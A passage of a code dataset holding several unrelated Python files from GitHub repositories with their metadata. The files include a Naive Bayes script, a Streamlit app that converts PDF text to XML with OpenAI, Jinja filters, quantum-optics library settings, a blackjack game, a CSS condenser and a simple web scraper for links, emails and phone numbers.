f.read(1)\n if not c:\n break\n if i % 32 != 0:\n if ord(c) <= 15:\n res += (\"0x0\" + hex(ord(c))[2:])[2:]\n else:\n res += (hex(ord(c)))[2:]\n f.close()\n return res\n\n\nif __name__ == '__main__':\n app = QApplication()\n Window = main_ui()\n Window.ui.show()\n sys.exit(app.exec_())\n","repo_name":"Country-If/WeChat_Image_Decode","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"23206536157","text":"import pandas as pd\nimport logging\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.metrics import accuracy_score\n\n\n\ndef read_data(filename):\n data = pd.read_csv(filename)\n return data\n\ndef drop_column(colum_name):\n data.drop(colum_name, inplace=True, axis=1)\n return data\n\ndef map_gender(data):\n gender = {'Male': 1, 'Female': 2}\n data.Gender = [gender[item] for item in data.Gender]\n return data\n\ndef split_data(data,test_size):\n X = data[[\"Gender\", \"Age\", \"AnnualSalary\"]]\n y = data[\"Purchased\"]\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=0)\n return X_train, X_test, y_train, y_test\n\ndef log(logger,model,split,accuracy):\n logger.info(\"model=\"+model+\", split=\"+split+\", accuracy=\"+str(round(accuracy, 2)))\n\nif __name__ == '__main__':\n logging.basicConfig(filename=\"ML_Task.log\",\n format='%(asctime)s %(message)s',\n filemode='w')\n # Creating an object\n logger = logging.getLogger()\n # Setting the threshold of logger to INFO\n logger.setLevel(logging.INFO)\n\n gnb = GaussianNB()\n data=read_data('Datasets/car_data.csv')\n data=drop_column('User ID')\n data=map_gender(data)\n #Train models with diffrent train:test set ratio\n #50:50\n X_train05, X_test05, y_train05, y_test05=split_data(data,0.5)\n y_pred05 = gnb.fit(X_train05, y_train05).predict(X_test05)\n accuracy05 = accuracy_score(y_test05, y_pred05)\n # 70:30\n X_train03, X_test03, y_train03, y_test03 = split_data(data, 0.3)\n y_pred03 = gnb.fit(X_train03, y_train03).predict(X_test03)\n accuracy03 = accuracy_score(y_test03, y_pred03)\n # 80:20\n X_train02, X_test02, y_train02, y_test02 = split_data(data, 0.2)\n y_pred02 = gnb.fit(X_train02, y_train02).predict(X_test02)\n accuracy02 = accuracy_score(y_test02, y_pred02)\n #log info\n log(logger,\"Gaussian Naive Bayes\",\"50-50\",accuracy05)\n log(logger,\"Gaussian Naive Bayes\", \"70-30\", accuracy03)\n log(logger,\"Gaussian Naive Bayes\", \"80-20\", accuracy02)\n\n","repo_name":"omar97hassan/De-Task","sub_path":"Task_3.py","file_name":"Task_3.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6319612015","text":"import streamlit as st\nimport openai\nimport os\nimport fitz\nimport base64\nimport json\n\n\nopenai.api_key = os.getenv(\"API_KEY\")\n# st.title(\"Flipick XML generator GPT-4\")\nst.set_page_config(\n page_title=\"Generate XML Content\",\n layout=\"wide\",\n initial_sidebar_state=\"expanded\",\n)\n\n# Define default values\ndefault_xml_structure = \"\"\"\n \n \n \n \n \n \t\t\t\n \n \n \n \n \n \n \n \n \n \n \n\"\"\"\ndefault_xml_conversion_instructions = \"\"\"Only content with the following numbers should be tagged as follows\n1.1 and same levels to Topic\n1.1.1 and same levels to Sub-Topic\n1.1-1 and same levels to Sub-Topic\nIf Objectives are present add Objective_names as bullet points, if not Dont include Objectives in the output\nFor example, 1.5-2 would be a sub-topic \nInclude the Level Numbers in the XML exactly as in the original content\nSub_topic_Contents should not be empty or concise\n\"\"\"\n\n\npdf_files = []\nfor file in os.listdir(\"content\"):\n if file.endswith(\".pdf\"):\n pdf_files.append(file)\n\ncol1, col2 = st.columns(2)\n\nwith col1.expander(\"PDF File Selection\"):\n # Add a dropdown menu to select a PDF file\n selected_file = st.selectbox(\"Select a PDF file\", pdf_files)\n\n # Load the selected PDF file\n pdf_doc = fitz.open(os.path.join(\"content\", selected_file))\n\n # Add a multi-select field to get the page numbers from the user\n page_numbers = st.multiselect(\"Select page numbers\", options=range(1, len(pdf_doc) + 1), default=[1])\n content = \"\"\n for page_number in page_numbers:\n page = pdf_doc[page_number - 1] # page numbers are 0-indexed in PyMuPDF\n content += page.get_text()\n \n st.text(content)\n st.session_state.content = content\n\n# uploaded_file = st.file_uploader(\"Choose a PDF file\", type=\"pdf\")\n\n\n\n# Create expandable container\nwith col2.expander(\"Structure Configurations\"):\n # Add input fields with default values\n xml_structure = st.text_area(\"XML Structure\", default_xml_structure, height=430, )\n xml_conversion_instructions = st.text_area(\"XML Conversion Instructions\", default_xml_conversion_instructions,height=280)\n\n # Save button to save input values to session state\n if st.button(\"Save\"):\n st.session_state.xml_structure = xml_structure\n st.session_state.xml_conversion_instructions = xml_conversion_instructions\n\n\n# Upload PDF file\n\n\n# if uploaded_file is not None:\n# pdf_doc = fitz.open(stream=uploaded_file.getvalue(), filetype=\"pdf\")\n \n# with col2.expander(\"Pdf data\"):\n# # Add a multi-select field to get the page numbers from the user\n# page_numbers = st.multiselect(\"Select page numbers\", options=range(1, len(pdf_doc) + 1), default=[1])\n \n# # Extract text from the selected page numbers\n# content = \"\"\n# for page_number in page_numbers:\n# page = pdf_doc[page_number - 1] # page numbers are 0-indexed in PyMuPDF\n# content += page.get_text()\n \n# st.text(content)\n# st.session_state.content = content\n\nbutn = col2.button(\"Generate XML\")\nif butn:\n with st.expander(\"XML data\"):\n Input_content = st.session_state.content \n xml_struct = st.session_state.xml_structure \n xml_instructions = st.session_state.xml_conversion_instructions \n inputPrompt = \" Convert the following pdf contents :\" + Input_content + \" As it is with the Level Numbers into the following XML Structure : \" + xml_struct + \" while following these instructions : \" + xml_instructions\n response = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=inputPrompt,\n temperature=0.56,\n max_tokens=1000,\n top_p=1,\n frequency_penalty=0.35,\n presence_penalty=0\n )\n step1Out = response.choices[0].text\n st.code(step1Out)\n data = {\n \"prompt\": Input_content,\n \"completion\": step1Out\n }\n \n # Generate download button that saves data as a JSON file\n json_data = json.dumps(data, indent=4)\n b64 = base64.b64encode(json_data.encode()).decode()\n href = f'Download JSON File'\n st.markdown(href, unsafe_allow_html=True)\n\n","repo_name":"SajithJude/flipick","sub_path":"Home.py","file_name":"Home.py","file_ext":"py","file_size_in_byte":5129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71099249012","text":"from datetime import datetime, date\nfrom dateutil.parser import parse\nfrom flask import Markup\n\n\ndef apply_filters(app):\n app.jinja_env.filters['nltobr'] = nltobr\n app.jinja_env.filters['textfilter'] = textfilter\n app.jinja_env.filters['boolformat'] = boolformat\n app.jinja_env.filters['dateformat'] = dateformat\n app.jinja_env.filters['datetimeformat'] = datetimeformat\n app.jinja_env.filters['addressblock'] = addressblock\n app.jinja_env.filters['addressblock2'] = addressblock2\n app.jinja_env.filters['numberformat'] = numberformat\n app.jinja_env.filters['currencyformat'] = currencyformat\n # app.jinja_env.filters['calculategross'] = calculategross\n app.jinja_env.filters['percentformat'] = percentformat\n app.jinja_env.filters['nl2br'] = nl2br\n\n\ndef nl2br(value):\n return textfilter(value).replace(\"\\n\", \"
\\n\")\n\n\ndef textfilter(value):\n if value is None:\n return \"\"\n return str(value)\n\n\ndef boolformat(value):\n if value is not None and value is True:\n return \"Ja\"\n return \"Nein\"\n\n\ndef convert_to_datetime(value):\n if value is None or value == \"\":\n return None\n if isinstance(value, date):\n return value\n if type(value) == str:\n return parse(value)\n if value.find(\"T\") >= 0:\n return datetime.fromisoformat(value)\n return datetime.strptime(value, \"%Y-%m-%d %H:%M:%S.%f\")\n\n\ndef dateformat(value, format='%d.%m.%Y'):\n date_value = convert_to_datetime(value)\n if date_value is None:\n return \"\"\n return date_value.strftime(format)\n\n\ndef datetimeformat(value, format='%d.%m.%Y %H:%M'):\n date_value = convert_to_datetime(value)\n if date_value is None:\n return \"\"\n return date_value.strftime(format)\n\n\ndef numberformat(value, format='de', digits=2):\n if value is None:\n return \"\"\n value = float(value)\n if digits is None:\n if round(value) == value:\n return str(round(value)).replace(\",\", \"X\").replace(\".\", \",\").replace(\"X\", \".\")\n return str(value).replace(\",\", \"X\").replace(\".\", \",\").replace(\"X\", \".\")\n else:\n baseformat = '{:,.' + str(digits) + 'f}'\n if(format == \"de\"):\n return baseformat.format(value).replace(\",\", \"X\").replace(\".\", \",\").replace(\"X\", \".\")\n return str(value)\n\n\ndef currencyformat(value, format='de', digits=2):\n if value is None:\n return \"\"\n value = round(float(value), 2)\n return numberformat(value, format, digits=digits) + u\" \\N{euro sign}\"\n\n# def calculategross(value, tax_rate=19):\n# TAX_BASE = 100\n# gross = float(value) * (1 + (tax_rate / TAX_BASE))\n# return currencyformat(gross)\n\ndef percentformat(value, format='de', digits=0):\n return numberformat(value, format, digits=digits) + \"%\"\n\n\ndef addressblock2(address):\n text = \"\"\n if \"company\" in address and address[\"company\"] is not None and address[\"company\"] != \"\":\n text = text + address[\"company\"] + \"\\n\"\n if \"lastname\" in address and address[\"lastname\"] is not None and address[\"lastname\"] != \"\":\n text = text + f\"{address['firstname']} {address['lastname']}\\n\"\n if \"street\" in address:\n text = text + f\"{address['street']} {address['street_nb']}\\n\"\n if \"zip\" in address:\n text = text + f\"{address['zip']} {address['city']}\\n\"\n return text\n\n\ndef addressblock(address):\n text = \"\"\n if address.company is not None and address.company != \"\":\n text = text + address.company + \"\\n\"\n if address.lastname is not None and address.lastname != \"\":\n text = text + f\"{address.firstname} {address.lastname}\\n\"\n text = text + f\"{address.street} {address.street_nb}\\n\"\n text = text + f\"{address.zip} {address.city}\\n\"\n return text\n\n\ndef nltobr(text):\n if text is None:\n return \"\"\n return Markup(text.replace(\"\\n\", \"
\\n\"))\n","repo_name":"vrcompugo/EV-Manager-Data-API","sub_path":"app/utils/jinja_filters.py","file_name":"jinja_filters.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18384140881","text":"import os\nfrom rich import print\nimport rich.table\nimport numpy as np\n\n__all__ = [\"Settings\", \"settings\"]\n\n\nclass ImmutableSetting:\n r\"\"\"A setting that becomes immutable after the first time its value is queried.\n\n Args:\n value (any): the default value of this setting\n name (str): the name of this setting\n \"\"\"\n\n def __init__(self, value: any, name: str) -> None:\n self._value = value\n self._name = name\n self._is_immutable = False\n\n @property\n def name(self):\n r\"\"\"The name of this setting.\"\"\"\n return self._name\n\n @property\n def value(self):\n r\"\"\"The value of this setting.\"\"\"\n self._is_immutable = True\n return self._value\n\n @value.setter\n def value(self, value):\n if self._is_immutable:\n raise ValueError(f\"Cannot change the value of `settings.{self.name}`.\")\n self._value = value\n\n\n# pylint: disable=too-many-instance-attributes\nclass Settings:\n r\"\"\"A class containing various settings that are used by Mr Mustard throughout a session.\n\n Some of these settings (such as those representing cutoff values) can be changed at any time,\n while others (such as the value of the Planck constant) can only be changed before being\n queried for the first time.\n\n .. code-block::\n\n from mrmustard import settings\n\n >>> settings.AUTOCUTOFF_MAX_CUTOFF # check the default values\n 100\n\n >>> settings.AUTOCUTOFF_MAX_CUTOFF = 150 # update to new values\n >>> settings.AUTOCUTOFF_MAX_CUTOFF\n 150\n \"\"\"\n\n def __new__(cls): # singleton\n if not hasattr(cls, \"instance\"):\n cls.instance = super(Settings, cls).__new__(cls)\n return cls.instance\n\n def __init__(self):\n self._hbar = ImmutableSetting(2.0, \"HBAR\")\n self._debug = False\n self._autocutoff_probability = 0.999 # capture at least 99.9% of the probability\n self._autocutoff_max_cutoff = 100\n self._autocutoff_min_cutoff = 1\n self._circuit_decimals = 3\n self._discretization_method = \"iterative\"\n # use cutoff=5 for each mode when determining if two transformations in fock repr are equal\n # 3 is enough to include a full step of the rec relations\n self._eq_transformation_cutoff = 3\n self._eq_transformation_rtol_fock = 1e-3\n self._eq_transformation_rtol_gauss = 1e-6\n # for the detectors\n self._pnr_internal_cutoff = 50\n self._homodyne_squeezing = 10.0\n # misc\n self._progressbar = True\n self._seed = np.random.randint(0, 2**31 - 1)\n self.rng = np.random.default_rng(self._seed)\n self._default_bs_method = \"vanilla\" # can be 'vanilla' or 'schwinger'\n self._precision_bits_hermite_poly = 128\n self._julia_initialized = (\n False # set to True when Julia is initialized (cf. PRECISION_BITS_HERMITE_POLY.setter)\n )\n\n def _force_hbar(self, value):\n r\"can set the value of HBAR at any time. use with caution.\"\n self._hbar._value = value\n\n @property\n def AUTOCUTOFF_MAX_CUTOFF(self):\n r\"\"\"The maximum value for autocutoff. Default is ``100``.\"\"\"\n return self._autocutoff_max_cutoff\n\n @AUTOCUTOFF_MAX_CUTOFF.setter\n def AUTOCUTOFF_MAX_CUTOFF(self, value: int):\n self._autocutoff_max_cutoff = value\n\n @property\n def AUTOCUTOFF_MIN_CUTOFF(self):\n r\"\"\"The minimum value for autocutoff. Default is ``1``.\"\"\"\n return self._autocutoff_min_cutoff\n\n @AUTOCUTOFF_MIN_CUTOFF.setter\n def AUTOCUTOFF_MIN_CUTOFF(self, value: int):\n self._autocutoff_min_cutoff = value\n\n @property\n def AUTOCUTOFF_PROBABILITY(self):\n r\"\"\"The autocutoff probability. Default is ``0.999``.\"\"\"\n return self._autocutoff_probability\n\n @AUTOCUTOFF_PROBABILITY.setter\n def AUTOCUTOFF_PROBABILITY(self, value: float):\n self._autocutoff_probability = value\n\n @property\n def CIRCUIT_DECIMALS(self):\n r\"\"\"The number of decimals displayed when drawing a circuit with parameters. Default is ``3``.\"\"\"\n return self._circuit_decimals\n\n @CIRCUIT_DECIMALS.setter\n def CIRCUIT_DECIMALS(self, value: int):\n self._circuit_decimals = value\n\n @property\n def DEBUG(self):\n r\"\"\"Whether or not to print the vector of means and the covariance matrix alongside the\n html representation of a state. Default is ``False``.\n \"\"\"\n return self._debug\n\n @DEBUG.setter\n def DEBUG(self, value: bool):\n self._debug = value\n\n @property\n def DISCRETIZATION_METHOD(self):\n r\"\"\"The method used to discretize the Wigner function. Default is ``iterative``.\n\n Can be either ``'iterative'`` or ``'clenshaw'``.\n \"\"\"\n return self._discretization_method\n\n @DISCRETIZATION_METHOD.setter\n def DISCRETIZATION_METHOD(self, value: str):\n self._discretization_method = value\n\n @property\n def DEFAULT_BS_METHOD(self):\n r\"\"\"The default method for computing the transformation operated by a beam splitter in\n the Fock basis . Default is ``vanilla``.\n\n Can be either ``'vanilla'`` or ``'schwinger'``.\n \"\"\"\n return self._default_bs_method\n\n @DEFAULT_BS_METHOD.setter\n def DEFAULT_BS_METHOD(self, value: str):\n self._default_bs_method = value\n\n @property\n def EQ_TRANSFORMATION_CUTOFF(self):\n r\"\"\"The cutoff used when comparing two transformations via the Choi–Jamiolkowski\n isomorphism. Default is ``3``.\"\"\"\n return self._eq_transformation_cutoff\n\n @EQ_TRANSFORMATION_CUTOFF.setter\n def EQ_TRANSFORMATION_CUTOFF(self, value: int):\n self._eq_transformation_cutoff = value\n\n @property\n def EQ_TRANSFORMATION_RTOL_FOCK(self):\n r\"\"\"The relative tolerance used when comparing two transformations via the Choi–Jamiolkowski\n isomorphism. Default is ``1e-3``.\"\"\"\n return self._eq_transformation_rtol_fock\n\n @EQ_TRANSFORMATION_RTOL_FOCK.setter\n def EQ_TRANSFORMATION_RTOL_FOCK(self, value: float):\n self._eq_transformation_rtol_fock = value\n\n @property\n def EQ_TRANSFORMATION_RTOL_GAUSS(self):\n r\"\"\"The relative tolerance used when comparing two transformations on Gaussian states.\n Default is ``1e-6``.\"\"\"\n return self._eq_transformation_rtol_gauss\n\n @EQ_TRANSFORMATION_RTOL_GAUSS.setter\n def EQ_TRANSFORMATION_RTOL_GAUSS(self, value: float):\n self._eq_transformation_rtol_gauss = value\n\n @property\n def HBAR(self):\n r\"\"\"The value of the Planck constant. Default is ``2``.\n\n Cannot be changed after its value is queried for the first time.\n \"\"\"\n return self._hbar.value\n\n @HBAR.setter\n def HBAR(self, value: float):\n self._hbar.value = value\n\n @property\n def HOMODYNE_SQUEEZING(self):\n r\"\"\"The value of squeezing for homodyne measurements. Default is ``10``.\"\"\"\n return self._homodyne_squeezing\n\n @HOMODYNE_SQUEEZING.setter\n def HOMODYNE_SQUEEZING(self, value: float):\n self._homodyne_squeezing = value\n\n @property\n def PNR_INTERNAL_CUTOFF(self):\n r\"\"\"The cutoff used when computing the output of a PNR detection. Default is ``50``.\"\"\"\n return self._pnr_internal_cutoff\n\n @PNR_INTERNAL_CUTOFF.setter\n def PNR_INTERNAL_CUTOFF(self, value: int):\n self._pnr_internal_cutoff = value\n\n @property\n def PROGRESSBAR(self):\n r\"\"\"Whether or not to display the progress bar when performing training. Default is ``True``.\"\"\"\n return self._progressbar\n\n @PROGRESSBAR.setter\n def PROGRESSBAR(self, value: bool):\n self._progressbar = value\n\n @property\n def SEED(self):\n r\"\"\"Returns the seed value if set, otherwise returns a random seed.\"\"\"\n if self._seed is None:\n self._seed = np.random.randint(0, 2**31 - 1)\n self.rng = np.random.default_rng(self._seed)\n return self._seed\n\n @SEED.setter\n def SEED(self, value: int):\n self._seed = value\n self.rng = np.random.default_rng(self._seed)\n\n @property\n def PRECISION_BITS_HERMITE_POLY(self):\n r\"\"\"\n The number of bits used to represent a single Fock amplitude when calculating Hermite polynomials.\n Default is 128 (i.e. the Fock representation has dtype complex128).\n Currently allowed values: 128, 256, 384, 512\n \"\"\"\n return self._precision_bits_hermite_poly\n\n @PRECISION_BITS_HERMITE_POLY.setter\n def PRECISION_BITS_HERMITE_POLY(self, value: int):\n allowed_values = [128, 256, 384, 512]\n if value not in allowed_values:\n raise ValueError(\n f\"precision_bits_hermite_poly must be one of the following values: {allowed_values}\"\n )\n self._precision_bits_hermite_poly = value\n if (\n value != 128 and not self._julia_initialized\n ): # initialize Julia when precision > complex128 and if it wasn't initialized before\n from julia.api import LibJulia # pylint: disable=import-outside-toplevel\n\n # the next line must be run before \"from julia import Main as Main_julia\"\n LibJulia.load().init_julia(\n [\"--compiled-modules=no\", \"--project=julia_pkg\"]\n ) # also loads julia environment\n # the next line must be run after \"LibJulia.load().init_julia()\"\n from julia import Main as Main_julia # pylint: disable=import-outside-toplevel\n\n # import Julia functions\n utils_directory = os.path.dirname(__file__)\n Main_julia.cd(utils_directory)\n Main_julia.include(\"../math/lattice/strategies/julia/getPrecision.jl\")\n Main_julia.include(\"../math/lattice/strategies/julia/vanilla.jl\")\n Main_julia.include(\"../math/lattice/strategies/julia/compactFock/helperFunctions.jl\")\n Main_julia.include(\"../math/lattice/strategies/julia/compactFock/diagonal_amps.jl\")\n Main_julia.include(\"../math/lattice/strategies/julia/compactFock/diagonal_grad.jl\")\n Main_julia.include(\n \"../math/lattice/strategies/julia/compactFock/singleLeftoverMode_amps.jl\"\n )\n Main_julia.include(\n \"../math/lattice/strategies/julia/compactFock/singleLeftoverMode_grad.jl\"\n )\n\n self._julia_initialized = True\n\n # use rich.table to print the settings\n def __repr__(self) -> str:\n r\"\"\"Returns a string representation of the settings.\"\"\"\n\n # attributes that should not be displayed in the table\n not_displayed = [\"rng\"]\n\n table = rich.table.Table(title=\"MrMustard Settings\")\n table.add_column(\"Setting\")\n table.add_column(\"Value\")\n\n for key, val in self.__dict__.items():\n if key in not_displayed:\n continue\n key = key.upper()[1:]\n value = str(val._value) if isinstance(val, ImmutableSetting) else str(val)\n table.add_row(key, value)\n\n print(table)\n return \"\"\n\n\nsettings = Settings()\n\"\"\"Settings object.\"\"\"\n","repo_name":"XanaduAI/MrMustard","sub_path":"mrmustard/utils/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":11166,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"21"} +{"seq_id":"37672331269","text":"import matplotlib.pyplot as plt\n\ndef plot(x, y, ns, **kwargs):\n \"\"\"One function to rule them all, and in the darkness, bind them\"\"\"\n if isinstance(x, str):\n x = [x]\n if isinstance(y, str):\n y = [y]\n \n def data_lookup(arr):\n arr_data = []\n arr_label = []\n for a_ in arr:\n if isinstance(a_, str):\n arr_label.append(a_)\n arr_data.append(ns[a_])\n else:\n arr_data.append(a_)\n arr_label.append('')\n \n return arr_label, arr_data\n\n xlabel, xdata = data_lookup(x)\n ylabel, ydata = data_lookup(y)\n \n if len(x) == 1:\n N = len(y)\n fig, axes = plt.subplots(N, 1, sharex=True)\n for k in range(N):\n axes[k].plot(xdata[0], ydata[k], **kwargs)\n axes[k].set_ylabel(ylabel[k])\n axes[-1].set_xlabel(xlabel[0])\n elif len(y) == 1:\n N = len(x)\n fig, axes = plt.subplots(1, N, sharey=True)\n for k in range(N):\n axes[k].plot(xdata[k], ydata[0], **kwargs)\n axes[k].set_xlabel(xlabel[k])\n axes[0].set_ylabel(ylabel[0])\n return fig, axes\n","repo_name":"sgowda/python-setup","sub_path":"sutil/sutil/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40832715511","text":"import random\nfrom cards import Card\nfrom deck import Deck\nfrom hand import Hand\nfrom chips import Chips\nfrom functions import *\n\nsuits = ('Hearts', 'Diamonds', 'Spades', 'Clubs')\nranks = ('Two','Three','Four','Five','Six','Seven','Eight','Nine','Ten','Jack','Queen','King','Ace')\nvalues = {'Two':2,'Three':3,'Four':4,'Five':5,'Six':6,'Seven':7,'Eight':8,'Nine':9,'Ten':10,'Jack':10,'Queen':10,'King':10,'Ace':11}\n\ngame_on = True\nwhile game_on:\n \n print(\"\\nWelcome to Blackjack\")\n \n #Create the deck and shuffle the cards\n game_deck = Deck()\n game_deck.shuffle()\n \n #Deal player's cards\n player_hand = Hand()\n player_hand.add_card(game_deck.deal())\n player_hand.add_card(game_deck.deal())\n \n #Deal Dealer's cards\n dealer_hand = Hand()\n dealer_hand.add_card(game_deck.deal()) \n dealer_hand.add_card(game_deck.deal())\n \n #Set player's chips\n player_chips = Chips()\n \n playing = True\n while playing: #from our hit_stand function \n #Take player's bet\n take_bet(player_chips)\n \n #Show cards but remember one of the dealer's cards stay hidden\n show_some(player_hand,dealer_hand)\n \n #ask player to hit or stand\n hit_stand(game_deck,player_hand)\n \n #show cards but one of the dealer's cards hidden\n show_some(player_hand,dealer_hand)\n \n #if player's hand exceeds 21\n if player_hand.value >21:\n player_bust(player_hand,dealer_hand,player_chips)\n break\n \n #If player doesn't bust, play dealer's hand till dealer_hand.value is 17\n if player_hand.value <=21:\n \n while dealer_hand.value <17:\n hit(game_deck,dealer_hand)\n \n #Show all cards\n show_all(player_hand,dealer_hand)\n \n #SCENARIOS FOR GAME TO END\n \n if dealer_hand.value >21:\n dealer_bust(player_hand,dealer_hand,player_chips)\n \n elif dealer_hand.value > player_hand.value:\n dealer_win(player_hand,dealer_hand,player_chips)\n \n elif dealer_hand.value < player_hand.value:\n player_win(player_hand,dealer_hand,player_chips)\n \n else:\n push(player_hand,dealer_hand)\n \n \n print(f\"\\n Player's chips total to: {player_chips.total}\")\n \n if player_chips.total <= 0:\n print('\\nTHE END')\n playing = False\n game_on = False\n \n else:\n continue\n\n #Ask to play again\n request = input(\"\\nDo you want to play another hand? Enter y or n: \")\n \n if request[0].lower() == 'y':\n playing = True\n continue\n else:\n print('\\nTHE END')\n playing = False\n game_on = False\n","repo_name":"Seye-d3a/BLACKJACK-Card-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40651638161","text":"def condense_css(rules):\n # Make a copy for validation purposes\n base_rules = {sel: props.copy() for (sel, props) in rules.items()}\n\n # Locate all known CSS properties, and sort selectors by their value\n properties = {}\n for (selector, props) in rules.items():\n for (prop_name, prop_value) in props.items():\n properties.setdefault(prop_name, {}).setdefault(prop_value, [])\n properties[prop_name][prop_value].append(selector)\n\n def common_selectors(props):\n i = iter(props.items())\n\n try:\n (k, v) = next(i)\n except StopIteration:\n return set()\n common = set(properties.get(k, {}).get(v, []))\n\n for (k, v) in i:\n these = set(properties.get(k, {}).get(v, []))\n common = common.intersection(these)\n\n return common\n\n def condense(common_props):\n # Assume they're common\n selectors = common_selectors(common_props)\n if len(selectors) <= 1:\n return\n\n # len(\"property:value\") for each property + semicolons\n props_chars = sum((len(key) + len(val) + 1) for (key, val) in common_props.items())\n\n # TODO: frozenset? probably doesn't matter if we sort\n sel_string = \",\".join(sorted(selectors))\n\n chars_added = len(sel_string) + props_chars\n\n chars_removed = 0\n for sel in selectors:\n chars_removed += props_chars\n if len(rules[sel]) <= len(common_props):\n chars_removed += len(sel) + 2\n\n if chars_added > chars_removed:\n return\n\n existing_props = rules.setdefault(sel_string, {})\n if existing_props:\n # Ensure compatibility\n for (prop_name, value) in existing_props.items():\n # Don't overwrite anything not permitted\n if prop_name in common_props:\n assert common_props[prop_name] == value\n\n # Don't bring anything in not expected\n for sel in selectors:\n # Also fails if the property didn't exist before\n assert base_rules[sel][prop_name] == value\n\n for (prop_name, value) in common_props.items():\n # Make sure we're not screwing anything up\n if prop_name in existing_props:\n print(\"WARNING: condensing same property twice\", prop_name, \"=\", value)\n assert existing_props[prop_name] == value\n\n # Write property to rule\n existing_props[prop_name] = value\n properties[prop_name][value].append(sel_string)\n for selector in selectors:\n properties[prop_name][value].remove(selector)\n\n # Delete property from old rules\n for selector in selectors:\n rules[selector].pop(prop_name)\n # If it's empty, remove it entirely\n if not rules[selector]:\n del rules[selector]\n\n # TODO: Would be nice to automatically seek out stuff we can efficiently\n # collapse, but for now, this achieves great gains for little complexity.\n\n # FIXME: This breaks certain hovermotes. Find a proper solution another day.\n # Until then, we'll have to live with the extra 15kb or so that these rules\n # make for.\n ## Remove all useless background-position's\n #if \"0px 0px\" in properties.get(\"background-position\", {}):\n # for selector in properties[\"background-position\"][\"0px 0px\"]:\n # del rules[selector][\"background-position\"]\n # if not rules[selector]:\n # del rules[selector]\n # del properties[\"background-position\"][\"0px 0px\"]\n\n # Condense multi-emote spritesheets (probably most of our savings)\n for (image_url, selectors) in list(properties.get(\"background-image\", {}).items()):\n if len(selectors) > 1:\n # For some reason, condensing these properties here gains more savings\n # than doing them separately. Oh well.\n condense({\"background-image\": image_url, \"float\": \"left\"})\n\n # Condense similar background-position's. Not likely to make a big difference\n # except for a few very similar spritesheet grids.\n for position in list(properties.get(\"background-position\", {})):\n condense({\"background-position\": position})\n\n # Condense by width/height, since many emotes have the same dimensions\n for (width, w_selectors) in [(w, s) for (w, s) in properties.get(\"width\", {}).items() if len(s) > 1]:\n for (height, h_selectors) in [(h, s) for (h, s) in properties.get(\"height\", {}).items() if len(s) > 1]:\n if set(h_selectors).intersection(w_selectors): # Any in common? Try condensing the pair\n condense({\"height\": height, \"width\": width})\n\n for width in properties.get(\"width\", {}):\n condense({\"width\": width})\n\n for height in properties.get(\"height\", {}):\n condense({\"height\": height})\n\n # Locate and combine identical rules\n for (selector, props) in rules.copy().items():\n condense(props.copy())\n\ndef chunkify(rules):\n # Due to a curious limitation discovered in Chrome, rules with very large\n # numbers of selectors break in strange ways. As of writing, the largest\n # rule we generate has over 4200 selectors in it. The last 200 or so are\n # ignored, breaking the emotes. More damning, sometimes the properties are\n # applied to the entire page- and an on-hover \"width: 70px\" is completely\n # unacceptable.\n #\n # So this is a quick hack to break up large rules. A limit of 4000\n # selectors would probably be enough to fix this, but I'm picking a more\n # conservative value of 1000 just in case.\n\n for selector in list(rules.keys()):\n parts = selector.split(\",\")\n if len(parts) > 1000:\n props = rules[selector]\n del rules[selector]\n\n for start in range(0, len(parts), 1000):\n selectors = parts[start:start+1000]\n s = \",\".join(selectors)\n rules[s] = props\n","repo_name":"Rothera/bpm","sub_path":"bplib/condense.py","file_name":"condense.py","file_ext":"py","file_size_in_byte":6064,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"} +{"seq_id":"37037343493","text":"\"\"\"\nScrape web data for url, phone and emails. Leave out duplicates.\nInclude Href and Img tag urls.\n\"\"\"\n\n\n__author__ = 'Haley Collard'\n\n\nimport re\nimport sys\nimport argparse\nimport requests\nfrom html.parser import HTMLParser\n\ntl = []\n\n\nclass URL_Parser(HTMLParser):\n def handle_starttag(self, tag, attrs):\n for attr in attrs:\n if tag == 'href':\n tl.append(attr)\n if tag == 'img':\n if attr[0] == 'src':\n tl.append(attr[1])\n\n\ndef create_parser():\n parser = argparse.ArgumentParser(\n description=\"Scrape web for data.\")\n parser.add_argument('url', help='website to scrape')\n return parser\n\n\ndef main(args):\n global tl\n parser = create_parser()\n ns = parser.parse_args()\n url = ns.url\n url_parser = URL_Parser()\n html = requests.get(url).text\n url_parser.feed(html)\n url_pattern = r'href=(\"(https?:\\/\\/)?(www\\.)?\\w+\\.\\S+)\"'\n email_pattern = r\"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+)\"\n phone_pattern = r'[(\\d]?\\d{3}[-.()]?\\d{3}[-.]?\\d{4}'\n urls = re.findall(url_pattern, html)\n tl.append(urls)\n unique_urls = set(tl)\n emails = re.findall(email_pattern, html)\n unique_emails = set(emails)\n phone_nums = re.findall(phone_pattern, html)\n unique_phone_nums = set(phone_nums)\n print('URLS:')\n for url in unique_urls:\n print(url[0])\n print('EMAILS:')\n for email in unique_emails:\n print(email)\n print('PHONE NUMBERS:')\n for phone_num in unique_phone_nums:\n print(phone_num)\n\n\nif __name__ == '__main__':\n 